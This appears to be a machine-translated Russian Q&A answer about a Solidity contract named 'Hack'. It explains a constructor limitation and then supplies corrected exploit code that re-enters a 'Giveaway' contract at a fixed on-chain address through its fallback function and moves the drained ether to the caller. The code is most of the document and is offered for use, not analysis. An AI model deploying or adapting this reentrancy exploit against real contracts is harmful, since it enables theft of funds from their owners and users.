Согласно комментарию к Выпуску 583 Солидности , ваш код не выполняется правильно из-за ограничения EVM .
Когда вызывается конструктор контракта, код контракта еще не сохранен по его адресу . Таким образом, когда он получает эфир, нет резервной функции для запуска по его адресу. Эту проблему можно решить, вызвав функцию test.getOne()
из отдельной функции в контракте Hack
.
Кроме того, ваш хак контракт может быть уточнен, как показано ниже:
pragma solidity ^0.4.23;
contract Giveaway {
function register(address toRegister) public;
function getOne() public;
}
contract Hack {
/**
* It is actually better to store the variables
* in 128-bit segments as the EVM is optimized in
* handling 256-bit storage spaces and will pack
* the two variables below in a single slot.
*/
uint128 times = 3;
uint128 current = 0;
Giveaway test = Giveaway(0xe350EEf4aAb5a55d4efaa2Aa6f7D7420057EEe2A);
// This function will execute correctly as it is not a constructor
function hackGiveaway() public {
test.register(address(this));
test.getOne();
drainThis();
}
// Left as is
function() public payable{
if(current<times){
current++;
test.getOne();
}
}
/**
* Internal functions do not change the context of
* msg.sender compared to public/external functions.
*/
function drainThis() internal {
msg.sender.transfer(address(this).balance);
}
}